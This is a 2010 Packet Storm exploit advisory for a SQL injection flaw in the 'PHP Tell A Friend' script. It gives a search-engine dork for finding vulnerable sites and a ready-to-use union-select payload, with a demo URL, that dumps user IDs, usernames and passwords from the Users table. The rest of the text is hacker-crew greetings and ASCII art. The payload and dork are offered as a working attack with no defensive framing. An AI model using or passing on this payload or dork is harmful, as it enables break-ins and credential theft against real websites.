PHP Tell A Friend SQL Injection

2010-12-24T00:00:00
ID PACKETSTORM:97013
Type packetstorm
Reporter jos_ali_joe
Modified 2010-12-24T00:00:00

Description

                                        
                                            `=====================================================  
PHP Tell A Friend SQL Injection Vulnerability  
=====================================================  
  
[+]Title : PHP Tell A Friend SQL Injection Vulnerability  
[+]Software : PHP Learn It! PHP Tell A Friend  
[+]Vendor : NN  
[+]Download : NN  
[+]Author : jos_ali_joe  
[+]Contact : josalijoe[at]hotmail[dot]com  
[+]Web : http://alicoder.wordpress.com/ ( New Blog jos_ali_joe )  
[+]Home : http://indonesiancoder.com/  
  
  
  
.___ .___ .__ _________ .___   
| | ____ __| _/ ____ ____ ____ ______|__|_____ ____ \_ ___ \ ____ __| _/ ____ _______   
| | / \ / __ | / _ \ / \ _/ __ \ / ___/| |\__ \ / \ / \ \/ / _ \ / __ | _/ __ \ \_ __ \  
| || | \/ /_/ | ( <_> )| | \\ ___/ \___ \ | | / __ \_| | \\ \____( <_> )/ /_/ | \ ___/ | | \/  
|___||___| /\____ | \____/ |___| / \___ >/____ >|__|(____ /|___| / \______ / \____/ \____ | \___ > |__|   
\/ \/ \/ \/ \/ \/ \/ \/ \/ \/   
  
  
########################################################################  
  
Dork : inurl:"email-friend.php?ID="  
  
########################################################################  
  
------------------------------------------------------------------------  
  
SQL Exploit  
  
Exploit : +union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat_ws(0x3a,ID,username,password)20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 ,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,5 3,54,55,56,57,58,59+from+Users+limit+1--1  
  
Demo   
  
Exploit :  
  
http://127.0.0.1/email-friend.php?ID=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat_ws(0x3a,ID,username,password)20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 ,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,5 3,54,55,56,57,58,59+from+Users+limit+1--1  
  
--------------------------------------------------------------------------  
  
  
Greets For :  
  
./Devilzc0de crew - Kebumen Cyber - Explore Crew - Indonesian Hacker - Tecon Crew - Magelang Cyber - Malang Cyber - kill-9   
  
./Byroe Net - Yogya Carderlink - aten4 - Wannabe Hacker - Tecon Crew - DuniaSantai.com - All Underground Forum Indonesia  
  
My Team : ./Indonesian Coder   
  
Special Thanks :  
  
Security Reason - Packetstorm Security  
  
  
[+] Note :   
  
Hacking bukanlah tentang jawaban. Hacking adalah tentang jalan yang kamu ambil untuk mencari jawaban.   
Jika kamu membutuhkan bantuan, Jangan bertanya untuk mendapatkan jawaban,   
Bertanyalah tentang jalan yang harus kamu ambil untuk mencari jawaban untuk dirimu sendiri.  
`